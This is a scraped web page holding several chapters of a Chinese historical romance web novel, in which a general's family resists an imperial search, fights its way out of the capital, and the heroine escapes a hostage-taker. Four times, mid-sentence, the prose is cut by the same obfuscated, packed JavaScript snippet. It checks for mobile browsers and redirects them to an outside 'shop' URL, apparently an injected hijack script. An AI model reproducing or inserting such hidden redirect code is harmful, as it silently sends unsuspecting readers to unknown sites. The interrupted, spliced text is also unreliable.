;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545758|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孤月高悬,载驰院里一片漆黑,寂若无人,黎书意躺在床上辗转反侧,脑袋里乱成一锅粥。 因为府里的人行动受限,她没办法差人出去打探情况,也不知道外面是怎么样的光景,估计将军府被圈禁,自己是墨含的消息已经在城中传得沸沸扬扬了吧。 他们的想法如何?是惊讶,还是疑惑,抑或者是谴责,林静仪会不会很担心……她的念头一个接一个,想到最后,她熬不住睡了过去。 翌日,她是被吵醒的,她的门外有人正在争执。 迷迷糊糊睁开眼睛,外头的争论持续不断地灌入耳中,随着意识逐渐清醒,她辨别出其中有两道声音是兰亭和舒凌寒的,另外一道是一个陌生的男声,他的语气十分猥琐和强横。 “不过一个小丫鬟,等将军府被定罪了,不日就会被送入教坊司成为官伎,犟什么。” 这最后的一句话让黎书意彻底清醒过来,明白是她的侍女被人给调戏了,顾不得许多,她急忙披上外袍,穿好鞋子,然后快步走出门去。 推开门,她看见一个细眼阔口的黄面官差正拽着舒凌寒的右胳膊,舒凌寒后面,兰亭正死命地抱着她的腰,嘴里怒骂不止。 气血一下子涌上脑海,黎书意提高声制止道:“放开她们!” 话音刚落,院子里的三人齐齐朝她看来。 盯着那只仍拉着舒凌寒胳膊的咸猪手,她又说了一遍:“给我放手!” 那官差闻言讷讷收了手,或许是觉得面上难堪,松手转身的同时,他嘴里不甘地嘀咕道:“嚣张什么,再过不久,整个将军府都得遭殃。” 她直接给无视了,看着人走远了,移目望着两个心有余悸的女孩,对她们说:“你们都进屋里来。” 说罢,转身回屋了。 兰亭和舒凌寒同时松了口气,两人紧随其后进屋。 “可有怎么样?”黎书意问舒凌寒。 舒凌寒摇头道:“二姑娘阻止得及时,婢子并没有什么大事。” 黎书意听后心中稍定,若非自己醒得及时,指不定她们会被怎么欺负呢。 想到这,她的目光重新回到舒凌寒身上,深深叹息了一声:“昨日你该走的,也就不必面对这些了。” 此时,舒凌寒已经从被羞辱的恐惧中恢复过来,听见二姑娘的话,她站直了身子,认真地说:“婢子的话还和昨日一样。再说,就算昨日婢子选择的是离开,真能走得掉吗?” 这后一句反问,让黎书意无话可说。 然而,舒凌寒心中却还有疑问有待解决。 昨日的搜查来得太过突然,又是带了圣旨的,上面明晃晃指出了二姑娘的罪行,她头一回经历,难免感到惊慌失措,头脑混沌。 等少将军带着侍卫赶来,他们与江臣一行人对峙,背后有人支撑了,她的心慢慢回落,神智也就归位了。 于是,在那群人进书房搜查时,她便留心观察,她发现他们明显是想将莫须有的罪名扣到二姑娘头上。 夜里,她问兰亭,兰亭支支吾吾,显然是知道内情的,却又不肯同她说。 不打算再忍,此刻她趁机问道:“二姑娘,婢子还是不懂,即便您的办法剑走偏锋,也不该受到如此对待,这背后可还有隐情?” 对上望着自己的一双好奇清眸,黎书意陷入了沉默,纠结片刻,知道有些事瞒不住她,便松口道了个“是”字。 “是什么?”舒凌寒激动地追问。 瞥了眼紧闭的房门,想着隔墙有耳,黎书意不敢再多透露,只道:“不久后你自会明白的。” 这回答令舒凌寒气馁,想了想不久后几个字,那她便等着吧。 100. 抗旨 书房如今已成禁地,黎书意无心做事,也无事可做,用过午膳,点上安神香,她在房里干坐着。 发呆之际,谢烜赫来了,将一碟点心放到小几上,柔声细语道:“听兰亭说你刚没怎么吃饭,多少用点。” 闻言,她只好拿起一块吃起来。 “早上的事我都知道了,我放心不下,和你兄长商量了一下,打算一会就搬到你院里的空房间住下。”谢烜赫说着在对面坐下。 黎书意点头。 自从谢烜赫在载驰院住下后,那群人安分了许多。 下午,江臣又带着一群书吏入院,他们继续审阅黎书意的书稿,书房成了拷问室,她照着昨日的方式应对,最终有惊无险地渡过。 等到第三日,书稿已经见底,江臣仍然没能挑出错处,然而黎书意依旧不敢掉以轻心。 在发现从她的书稿上难以做文章之后,江臣转了思路,目光不再局限于载驰院,他以她可能将书稿放置在别处为借口,企图进入父母所居的尚姜院。 府中一半的侍卫是黎家军的预备兵,对父亲最是敬重,他们和江臣手下的差役们站在院门前僵持,不愿退让。 “怎么,难道你们想抗旨?”江臣警告似的问。 又是抗旨,偏偏他们无可辩驳,最后只能将人放进去。 江臣与父亲本就不和,如今逮到机会了,便开始兴风作浪,他们对待尚姜院的方式较之载驰院更为残暴。 江臣在房里四处转悠时,还故意带倒了方几上的一个古董花瓶。 “你——”黎书意见了不禁心头火起,跨出一只脚准备上前去理论。 才刚说了一个字,胳膊被谢烜赫拉住,小声提醒道:“别上当。” 闻言,她努力压抑着自己的怒火,她岂会看不出来,江臣打的就是想激怒她和兄长,还有一众府军的算盘。 如果不能以妖言惑众定罪,便以抗旨不遵定罪,反正都是砍头的大罪,总之是铁了心地要给他们安罪名。 …… 熏炉里雾霭氤氲,馨香在室内飘散,黎书意坐在榻上发呆,她的心里仿佛有千百只鸦鹊在纷飞,根本无法获得片刻的安宁。 第四天了,将军府被圈禁的消息说不定已经传到了父亲那边,她愁缠百结,唯恐父亲爱子心切,冲动之下赶回孟章,那样无异于自投罗网。 府院被围,形同铁桶,想传信根本不可能,长叹口气,她闭着眼睛按揉太阳穴,清馥韵雅的安息香也无法抚平她的心绪。 “二姑娘,不好了!”这时,舒凌寒着急忙慌地从外面跑进来。 心绪本就不宁,听见这一句话,黎书意顿时神经绷紧,她“唰”一下站起来问:“又出何事了?” “少将军同江臣在祠堂吵起来了!” 祠堂,黎书意面色一沉,怒上心头,昨天他们去父亲的院子里搜她忍了,这回居然敢闹到祠堂去。 “走,去看看!”说着,她快步走出房门。 走到院门口迎面碰见谢烜赫,他叫住她:“你这般急匆匆的,是要去哪?” “兄长与江臣在祠堂吵起来了。”她焦急回道,脚下步子未停。 谢烜赫转了身,“一起。” 于是两人并作一路,身后兰亭和舒凌寒紧跟着,大家齐往祠堂赶去。 祠堂正厅门外,将军府的侍卫和江臣手下的差役持剑各站一侧,厅内,黎长策与江臣面对面对峙,彼此横眉竖眼,气氛胶着。 黎长策沉着脸立在香案前,他压抑着胸中怒火,目光凌厉地盯着对面的人,寒声道:“大人是负责清查书稿的,我不知祠堂有何可查的。” “少将军此言差矣。”江臣微微一笑,反驳道,“虽说祠堂看起来与书稿无半分关系,但最不可能的地方便是最有可能的地方,您说是吗?” “胡扯!”黎长策怒斥。 这边厢,黎书意、谢烜赫一行人终于赶到祠堂,一进门就看见了这剑拔弩张的场景。 定了一定神,黎书意跨步走进祠堂,边走边说:“民女不曾在这留下过任何笔记。” 江臣闻言回身,望着走进屋中的少女,他面上丝毫没有退让的打算,强硬地说:“有没有只有搜过了才能证明其清白。” 黎书意一时气结,没想出合理的说服理由,她径直走到兄长身边站定,以行动表示自己的拒绝。 江臣的视线扫过对他怒目而视的兄妹,心说这次他总算是找对方向了,只是光这样还不够,得再给他们点刺激。 这么想着,他无视对面两人的抗拒,摆出公事公办的态度道:“得罪了!” 说毕,他向前踏出一步,然而对面的人并未妥协,这对兄妹维持着姿势不肯退让,他俩身边的亲卫和贴身丫鬟们也昂首挺胸地拥着二人。 “怎么?”江臣的目光从他们身上悠悠划过,“你们是想抗旨不成?” 抗旨、抗旨、抗旨……这几日被这两个字压着,他们妥协了不少次,憋屈至极。 只是,这一回黎书意无法再妥协了,这和搜他们的居所含义不一样,这里供奉的可是黎家的列祖列宗,他们生前受人敬仰,万不能死后受此侮辱。 “本官劝少将军和黎二姑娘不要逞一时意气。”见他们纹丝未动,江臣脸上露出怪异的笑容,旋即手一抬,招呼道,“给我搜!” 外面的差役应声涌入,同一时刻将军府的侍卫们也都聚了过来,并不十分宽敞的祠堂瞬间挤满了人。 江臣见了,丝毫不惧,神色反而带上了两分兴奋,陛下将任务交给他时便说了,能把事情闹大了最好,这样日后才好为黎家定罪。 笑过之后,他甩头示意手下上前。 众差役依令向前走,顾忌着黎长策的威名,他们不敢往正面去,于是便向侧翼的侍卫突击。 谢烜赫沉着地拔出手中斩霄剑,横剑当胸,做出防御的姿态。 “看来你们是执意要抗旨了?”江臣高喊道。 怎么办?黎书意心如油煎,脑子里一片混沌,不知道自己该干嘛。 就此罢手吗?可是就算停手了,抗旨的罪名也已经成立了,他们将受牢狱之灾,而一旦入狱,父亲必受钳制,他们最终还是逃不开一个死字。 那么奋起反抗?虽然他们一直有所准备,可始终未下定决心,因为这意味着谋反,黎家百年清誉将被玷污 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545759|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她失了主意,便向兄长投去求助的眼神。 黎长策感受到了小妹望过来的目光,没有回看她,他一字一顿道:“一次次退让,换来的却是变本加厉的刁难。” 这是决定反抗了,黎书意面上一惊,继而是解脱。 既然做了决定,他们便一改之前的畏手畏脚,黎长策和谢烜赫带领众侍卫严防死守,一旦有人靠近神龛,他们便利落地出招阻拦。 江臣早退到了一侧,他躲在两名差役身后,旁观着两方的争斗,看见一个个被打倒在地的差役,他露出了奸计得逞的笑容,心想这抗旨之罪如今是板上钉钉了。 可没过多久,他意识到了不对劲,黎长策,那个戴面具的男子,还有将军府其他的侍卫们……所有人先前的畏缩都不见了,取而代之的是腾腾锐气,就好像是被激怒的恶狼。 这令他心头颤动,感到了一种强烈的焦虑和不安,再看他们的出手,虽然没有要其性命,但也并未怎么收着力道。 忆起黎长策动手之前所说的那番话,一个可怕的猜测涌上他的脑海,寒意紧随其后爬上脊背,刺激得他浑身僵硬。 咽了咽口水,他颤抖着声音,强装镇定威胁道:“你们还不快给我住手,本官是奉皇命而来的,难道你们是想造反吗?” 造反!大逆不道的话令在场所有人不约而同停了手。 现场一时陷入沉寂,紧绷的氛围在安静中悄然凝聚,散发着一股山雨欲来的气息。 半晌,黎长策打破了沉默,他向江臣投去一个看蝼蚁一般的眼神,然后以一声轻蔑的嗤笑回答了这个问题。 下一刻,他重又动作起来,手中长剑化做了一道飞虹,利落地向面前的差役刺去。 眼见少将军动手了,其他侍卫便也跟着动手,院子里喧嚣再起,挥舞的兵刃交汇成一道道斑驳扭曲的寒光。 江臣面若死灰,眼下他哪还有不明白的,发愣之际,护着他的两名差役接连倒地,根本来不及躲,紧接着他也被面具男给制服了。 “你们,你们这可是造反!”他全身发抖,歇斯底里地喝道。 黎长策从一名小卒身上抽出带血的剑,闻言看过来,冷声反问道:“怎么,这不是江大人想看到的吗?” 江臣无言,他恐惧地咽了咽唾沫,脑子里前所未有的混乱,他只不过是想激怒这对兄妹,好把抗旨的罪名安在他们头上,谁都知道黎大将军的忠诚,他是不可能谋反的。 将军府的府卫们身手出众,攻势猛烈,双方实力悬殊,不过片刻功夫,江臣手下差役便被打得落花流水,倒在地上再也无法反抗。 斗争的硝烟渐渐散去,祠堂内外一片狼藉,差役们一个个倒在地上,蜷缩成一团,双手紧握着伤口,哀嚎声此起彼伏。 黎长策平淡地扫一眼,对众侍卫道:“把他们全都给我绑了!” 最终,江臣和一众差役每一个都被粗麻绳捆住了手脚,然后又被一群一群地捆在一起。 闹了小半个时辰,这场在祠堂的风波终于平息了,然而平静只是表象而已,此时祠堂内外的所有人呆立在原地,每个人的内心都翻滚着一股无法平息的波澜。 101. 行动 就在众人努力消化自己方才都做了什么的时候,一道冷冽的声音搅动了寂静的空气,只听见那银面侍卫平静地指出道:“这里发生的事不久便会传出去,留给我们的时间不多了。” 此话一出,大家流露出惊慌之色,他们齐齐转向身穿浅蓝色衣袍的少将军。 从谢烜赫身上收回视线,黎长策环扫眼前,见众侍卫一脸心有余悸,两眼定定望着他,目光里满是求助之意。 默然片刻,整理了下思绪,他方才开口道:“我黎家世代为将,满门忠烈,然近年却备受猜忌打压,如今竟被强加罪名,欲除之而后快,今奋起反抗实属无奈,我不想连累无辜,愿意追随我的,未来我们继续并肩作战,若有不愿追随的,现在即可离开,我绝不怪罪!” 话音落地,全场噤声,片刻后,一位年轻的侍卫眼神中满是决绝,语气坚定地说:“大将军于我们有再造之恩,想我等本是奴隶和流民,是将军府收留了我们,给了我们安身立命的机会,当今皇帝昏聩,不识忠良,反信佞臣,大将军和少将军才是真正值得我们追随的头领!” “说的没错,”下一刻,他旁边的人也一脸气愤道,“皇帝不仁不义,这些年黎家军屡建奇功,为西景江山不知洒下多少热血,却备受苛待和冷遇!” “还有,梁甫罪恶滔天,二姑娘写那书明明是做了件大好事,凭什么要受到这样的处置!”另一人接话。 …… 一时之间,对天家的不满之言和誓死追随黎家的衷心之语在院子里回荡着。 “好。”看着这些忠诚的侍卫,黎长策心中感慨万千,面上越发坚毅起来,他沉着冷静地说道,“那接下来大家听我吩咐……” 由于身手不行,自两方出手以后,黎书意便乖乖站在保护圈以内,她看着兄长与谢烜赫守护祖宗牌位,看着兄长对家中侍卫慷慨陈词,虽然从来都知道兄长的优秀,可此刻看到他独当一面,她心里是说不出的自豪。 想到同为黎家人,她也不能落后,于是她上前几步,走到兄长跟前,神色认真道:“兄长,行动部署交给你们,打点行装请交给我。” “好。”黎长策点头。 与兄长说完话,黎书意朝前走去。 祠堂院外一侧,有几个负责日常洒扫的奴仆正呆站着,他们面色惨白,宛如惊弓之鸟,目光从几人脸上扫过,她扬声吩咐道:“你们去把府中所有仆从都给我叫过来!” 几人愣了一会,等回过神来后他们听令而动,忙奔出了院子。 接着,黎书意转头对跟随在侧的兰亭道:“去把匣子里的身契拿来。” 兰亭迟疑了片刻,最后听话转身去了。 黎书意继续冷静地对身边人吩咐:“两位姑姑,还有舒凌寒,麻烦你们去通知各院的宗亲和家将部曲的家小们,让他们快些收拾好必要物品,然后去前院集合。” 三人领命而去。 黎书意静静地站在廊下,院中嘈杂,不大的地方站着一二百人,几乎比肩叠踵。 过没多久,其他院里的侍从听到传唤断断续续赶来。 丫鬟、婆子、小厮们,他们或三五人一起,或是独自一人而来,大家步伐急促,表情惶惑,源源不断地往门前的空地聚集。 自从江臣带着圣旨上府清查,这几日府里人心惶惶的,刚才祠堂里的动静那般大,他们自然也知道发生了什么,而现在,亲眼看到了被绑起来官差们,心下就更加慌了。 平心而论,将军府家风清正,三位主子为人亲和,赏罚分明,从不随意迁怒他们,待遇比其他府里的下人要好太多了,在主子落难时弃人而去,感觉对不起自己的良心。 可是,说到底他们只是做事的,犯不着为了微不足道的义气搭上自己的人生,踟躇不定间,有人过来通知说二姑娘叫人集合,斟酌了一番,他们还是来了。 黎书意目光沉静地扫过台阶下的众人,从那一双双望过来的眼睛里,她看到了探究、担忧和紧张等无数种情绪。 她提高声音,一脸正色道:“我将军府今日抗旨伤官虽是被逼无奈,但已然走上了谋逆之路,不过这事与你们无关,你们不用担心被牵连。” 底下人闻言面露轻松。 “二姑娘。”这时,兰亭带着契纸从载驰院赶回来了,她走到二姑娘旁边站定。 黎书意闻声顺势侧头,她用手虚指着木匣子,面对众人道:“这里是你们的身契,一会你们便可以自行拿走。” 底下人听后更加激动了。 黎书意继续往下说:“在这之前,可否请你们最后再帮个忙,替我们搬运一下必要物品。” 众人闻言一时愣住,下一刻脸上皆流露出哀伤,旋即一个个出声回应。 虽然他们没办法与主子们一起逃亡,但是这点事他们还是可以做到的,说毕大家便行动起来,一窝蜂向门口奔去。 通知亲眷的富春姑姑、天元姑姑和舒凌寒这时也相继返回了。 从跑动的侍从们身上收回视线,黎书意转头问站在身旁的三人道:“你们若想走,现在还有机会。” 富春姑姑道:“二姑娘,我们与他们不同,早就与将军府连在一起了。” “是啊……”天元姑姑附和。 院子左侧,谢烜赫也没闲着,府中另一半的侍卫是祈安阁的人,他们此刻也都聚在自家主子跟前。 目光从一张张面庞上扫过,谢烜赫从怀中掏出两封信,然后单刀直入分配任务:“方天,你现在就马上去印刷铺,这第一封信,交给毕掌柜,让他不管是印刷也好,还是手抄也罢,明日我要看到它在全城散布,还有这第二封,务必交给黎大将军。” 方天接下信。 谢烜赫微微颔首,接着又道:“另外,你联络在孟章活动的暗卫,让他们埋伏在城门周围,确保好增援。” “是。”方天领命离去。 接着,谢烜赫转向纯钧和其他暗卫,肃声道:“你们随我一起,待会突出重围。” 这边,黎书意交待完了,便带着兰亭和舒凌寒回载驰院了。 站在院子里,她看着两位姑娘道:“好了,你们先去收拾自己的物品吧。” 说毕,领了四个小厮进房,吩咐他们搬东西。 从知道幕后黑手是皇帝以来,她便一直在整理自己的个人物品,确定要带走的衣物早都收拾好了,只需要搬运上车即可,东西一共有三箱,一箱衣服,一箱字画书籍,一箱珠宝首饰。 趁着搬运的间隙,她在房间闲逛起来,她整个少女时期都是在这里度过的,离开一段时日都会舍不得,况且这一走,还不知道能不能再回来。 走进卧房里间,她在床上坐下,转着头环视这个她一点点装点起来的温馨小窝。 坐了一会,她起身去到镜台前,铜镜中映照出她满含悲戚愁苦的面容,曾有多少次她和兰亭在这儿有说有笑地讨论绾发戴簪。 最后,她起身往后侧方而去,打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545760|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开衣柜柜门,她用手轻抚过那一件件华美的衣裳。 离开卧房,她接着去了书房,房间四壁上挂着名家的山水画和亲笔题写的诗词,它们每一件都意义重大,价值不菲。 那一排排书架上,竹卷和书籍整齐排列着,既有诗词歌赋、历史典籍,也有佛经道藏、琴谱棋谱,这是她经年积累的宝藏,可惜她带不走了。 书房是她最常待的地方,读书、写诗、作画、创作故事……一天中她有大半天都耗费在这里,这里是她的乐园,目光流连地将室内细扫了一圈,最终她狠心转过头,离开了房间。 刚将门合上,就见兰亭挎着包袱小跑过来,紧接着舒凌寒也来了,因为两人也都事先整理过了,现下要拿的东西并不多。 “走吧。”最后环视一圈小院,她扭转过头,已经过去快一刻钟了,时间紧迫,不容耽搁。 三人领着搬东西的小厮步履匆忙地来到前院,此刻院内空地上呈现出一派忙碌景象。 只见院子中央停着一排马车,宗亲部曲的家小们和丫鬟婆子小厮们穿梭如织,一个个箱子和布袋正往车上搬,牌位、粮食、衣物、细软和其他器物……即便事先挑拣过,也数量巨大。 黎书意走过去与兄长、谢烜赫汇合。正在这时,富春姑姑和天元姑姑走了过来,富春姑姑报说:“二姑娘,衣物、细软和粮草就快装好了,车驾也都备好了,接下来该怎么做?” 黎书意闻言沉吟,这些东西少说也有十来车,同时出动必然会引起注意,是该好好安排。 “不如这样……”在她思索对策的时候谢烜赫先开了口,“我们可以将东西分四批派四队人马分别从四个城门出去。” 黎长策点头赞成道:“四个城门相隔甚远,就算互通消息,也需要一段时间,短期内不会发现异常,确实可行。” 计划一经定下,便立刻执行起来,分别是毕定边带一队往南门走,富春姑姑带一队往北门走,天元姑姑带一队往西门走,舒凌寒带一队往东门走。 天元姑姑和舒凌寒她们一个管理田庄,一个经营铺子,除了十分了解将军府内情的人,基本没人知道她们的真实身份,因此,她们可借着外出做营生的借口轻松通过城门。 打点好行装,四支队伍相继从将军府的后门、偏门行色匆匆地出去,这个时候再想要掩藏踪迹显然不可能了,眼下他们要做的就是抢时间。 好在附近都是深宅大院,巷道里来往的人并不多,不至于像在大街上那般,一有风吹草动就顷刻间就传扬出去。 黎书意站在外院,向最后离开的舒凌寒一行人交代了几句话,然后站在原地目送她们离开。 “好了,这下该轮到你了。”一旁的黎长策收回视线,偏头看向自家小妹。 闻言,黎书意迎上兄长的目光,在这种紧要关头,她很清楚自己是不能任性的,因此即便不愿,也未出声表示异议。 “只是……”黎长策盯着小妹的面容,犯难道,“你这脸过于招摇了,过城门时是如何也遮掩不过去的。” “交给我吧。”谢烜赫接话。 黎书意将目光转到他脸上,心知他这是打算用人皮面具给自己变装呢,虽然先前见过两回,但还从未亲自体验过。 不过有一个问题,这东西过程繁复,然而他们时间不足,便担忧地问:“会不会赶不及?” “改一下眼睛和鼻子就好。” 她颔首,旋即随谢烜赫进了最近的屋子。 102. 挟持 进屋以后,两人在桌边坐下。 谢烜赫拿出随身带着的小盒子,然后打开,里面有两格,一格装着一块假人皮,一格装着刀镊等工具,将假人皮取出来,他用刀仔细修剪形状。 黎书意安静地坐着,等待着它们被贴到自己脸上。 然而,在那块皮肤还未触碰到她脸上时,纯钧急跑进来道:“主子,禁军已经到巷口了,再过一盏茶便会赶到。” 闻言,两人皆是一惊。 黎书意怔然,没想到他们竟然来得如此之快。 看着对面的少女,又瞧了眼手上的东西,谢烜赫无奈只好放下,接着他站起身来,温声叮嘱道:“记住,一会躲在我和你兄长身后。” “好。”黎书意点头,也跟着站了起来。 说罢,三人出门。 前行的路上,纯钧在旁边补充道:“少将军已经将人马全都带到马厩了,打算突围后直接从那里离开。” 于是他们健步如飞往马厩方向赶去。 将军府的马厩很大,即便刚刚已经动用了不少车马,现在仍然有百匹良驹,马厩里的马似乎感受到了躁动不安的氛围,在马栏里踢腿嘶鸣。 宽阔的空地上,众侍卫已经换上了锃亮的盔甲,他们身姿挺拔,队列整齐,神色肃穆。 对面,黎长策正有条不紊地做着最后的部署,分配完任务,稍作停顿后他又道:“我知今日是将你们带上了一条不归路,但事已至此,若我等束手就擒,必遭残害,家小亦难幸免,与其引颈受戮,不如奋起反抗,为自己,也为家人争得一线生机!” 话音方落,耳边传来杂沓的脚步声,众人闻声而动,不约而同地朝一侧的入口看过去。 只见一支身穿盔甲的卫队气势汹汹朝他们而来,为首那人生得广额阔面,正是禁军统领冯硕,他高举手中令牌,大声道:“将军府黎长策和黎书意不仅抗旨不遵,还打伤官差,本官遵圣上口谕,前来抓捕问罪!” 这话听着耳熟,这场景看着亦眼熟,黎书意没想到自己努力了那么久,最后还是得到了同样的结果,她惨淡一笑,为自己的弱小和自大。 意图谋反是滔天大罪,抓人的可不会给他们喘息的机会,随着冯硕一声令下,他手下的兵卒犹如蜂群,猛地向着他们袭来。 将军府的侍卫们勇锐无比,下一刻便一拥而上,两方人马,几百人顷刻间混战在一起,马场的空地成了战场。 敌我两方刀剑交锋,光影重重,火花飞溅,一时间四下只余尖锐的金戈碰撞声和侍卫们低沉的咆哮声。 渐渐地,场面愈发混乱激烈,黎长策身为首领,自然成了攻击的重点,那些官差如饿狼扑食般,疯狂地向他发起猛攻。 “在这好好待着。”谢烜赫转头嘱咐黎书意,命两名侍卫看顾好她后,自己毫不犹豫冲入战场中心,去援助黎长策。 黎书意双目紧张地追随着他们,一颗心高高悬起,只见禁军挥舞着刀枪直逼兄长和谢烜赫,他们如铁流般向两人涌去,几乎要将两人淹没。 重复了千百遍的梦境在眼前真实地上演,黎书意又是绝望又是心痛,呆愣愣地看着血腥暴力的场景,心底一片悲凉。 不,还没有结束。 她的父亲远在千里之外,将军府的一众亲眷也刚刚脱离了这个牢笼,现在说不定已经出城了,她重要的人分明都没有出事,她怎么可以自怨自艾。 将军府的荣耀虽盛,将门嫡女的名头也贵重,但是就像那些被她留在屋子里的珠宝华服一样,并非不可丢弃之物,只要重要的人都还好好的,这便好了。 这么想着,黎书意心里重新燃起了希望,抽离的思绪逐渐回笼,目光也变得清明镇定。 在她的面前,两方还在恶战,地面上倒下了许多尸体,多半是禁军的,这令她心头的底气更足了。 混战的人群里,有两道身影格外显眼,一个穿蓝衣,他身上沾染了斑驳血迹,另一个穿靛青衣,因为衣色深,并看不出血迹,可手中斩霄剑上已经被红色浸透了。 黎书意文成武不成,眼下帮不了什么,所能做的就是不给他们添麻烦,然后默默祈祷,望他们这一方能快些突出重围,顺利逃跑。 忽然,她感觉脖颈上一凉,身体陡然僵住,一股不详的预感涌上脑海。 果不其然,下一刻她的腰被钳制住,耳边响起一道粗野的男声,他口气得意,向对面高喊道:“都别动!” 斗争正酣,有人注意到了,也有人没注意到,于是他更加中气十足地喊了一声:“都给我住手!” 这下,所有人都停手了,他们整齐划一地朝这边看过来,小半人神色一松,舒了口气,大半人肌肉紧绷,脸色苍白,不敢轻举妄动。 这当中有两个人最为紧张,一个是黎长策,一个是谢烜赫。 看着被无形的绳索绑缚了双手的两个人,黎书意心头既愧又痛,是她的错,在这么重要的时候,她怎么可以走神呢…… “哈哈哈。”猖狂的笑容在耳边炸开,只听见她头上传来警告的声音,“黎少将军,如果不想你这如花似玉的妹妹受伤,就请你,还有你的手下们都放下兵器!” 黎书意朝对面看去,见兄长怒视着冯硕,接着,他的目光慢慢放到她身上,那漆黑的眼眸一闪,忍不住泄露了焦燥。 他面沉如水,嘴唇紧抿,眉宇间透出一股子严肃和凝重之色,那只握剑的手因为用力而青筋暴起。 下一刻,伴随着“哐当”一声响,宝剑落地,发出浑厚的声音。 “哈哈哈!”头上再次传来得意的笑声,接着又闻冯硕道,“还有他们呢,尤其是他!” 尽管看不见他的目光,但黎书意也知道他所指的人是谢烜赫。 她看向谢烜赫,像是心灵感应,谢烜赫也朝她看来,两人目光对上,她动作轻微地摇头,然后视线向右下侧轻移。 初时,因为毫无防备,所以她脑子里一片混沌,整个人显得手足无措,而现在,她的心弦慢慢松懈了,也就有余力思考了。 她并非完全没有准备,在她的袖中,藏着父亲几年前送给她的匕首,匕首做工精细,鞘刻凤凰图案,柄镶红玛瑙,刃薄而锐利,因为装饰奢华,日常也用不到,所以她一直搁在箱子里。 先前搬东西时,她把它从箱子里拿出来了,她想着毕竟是逃亡,身上该带点防身的武器,没想到这么快就派上用场了。 那她该怎么利用它为自己争得一线生机呢? 冯硕穿着厚重的铠甲和军靴,用肘尖攻击两肋和踩脚的效果不大,对方手里又拿着刀,用头去顶他的脸可能会伤到自己。 几番斟酌排除后,她想她只能趁其不备 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545761|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先避开威胁自己的刀刃,然后再挣脱那只桎梏自己的手。 视线回移到谢烜赫脸上,她看见谢烜赫正巧上抬眼皮,此刻他眉头轻皱,嘴唇微抿,目光纠结地看着她,似乎不同意她这么做。 就在这时,脖颈处一痛,冯硕威胁道:“快点!” “好,我让他们放,你别伤她!”兄长慌忙安抚着。 说这话的同时,他朝她瞥来一眼,想来应该是自己刚才和谢烜赫的眼神互动被他看在眼里,这便好办了。 “那快放吧。”冯硕听到承诺满意极了,连带着挟持她的刀子也远离了,那股恐惧的冰凉感觉顿时消失了。 “你们都给我听好了,把兵器放下!” 听见少将军的命令,将军府的侍卫们心有不甘地弯身。 黎书意的心突突跳着,手心里沁出一层汗水,她极力控制着自己的气息,逼迫自己专注。 她目不转睛地盯着对面,同时感知着冯硕的每一个细微动作,她必须一击即中,一旦失败自己便会凶多吉少。 放兵器并非一蹴而就的,大家伙的动作很慢很慢,就好像手上拿着的是精致易碎的瓷器,格外小心谨慎,她也悄悄将两臂合拢,轻轻抽开了刀鞘。 等大家兵器放到一半,她趁着所有人的注意力都在放刀剑的时候,以迅雷不及掩耳之势猛地弯腰侧头,利用冯硕的毫无防备,避开了在脖颈不远处的刀刃。 同时,她抬手亮出握了已久的匕首,朝钳制着自己的那只手的手腕上用力一划,然后再趁着冯硕惊叫吃痛之际,一个旋身从他的控制中挣脱出来,极速往谢烜赫所在地方靠过去。 谢烜赫不知道该如何形容发现黎书意被抓住的感受,仿佛有只手死命捏着他的心脏,疼痛感顷刻间蔓延至四肢百骸,让他痛到无法呼吸,控制不住地战栗。 当看到少女望过来的眼神,他的心狠狠一抽,无数遍责怪自己,他不应该因为担心在战中会误伤她,所以便把她交给别人保护。 对视间,他发现少女的目光带着深意,于是便顺着那斜向下划的视线看去,然后他瞧见了少女袖里的匕首,洞悉了她想要做什么时,他的第一反应是不赞同。 可是他清楚她不会坐以待毙,而且这的确是一个解救她,摆脱冯硕钳制的方法,权衡了一番,他最终选择相信她。 好在冯硕的注意力全在黎长策身上,不会关注他的反应,于是他两眼一错不错地盯着黎书意,不放过她身上的任何一个小动作。 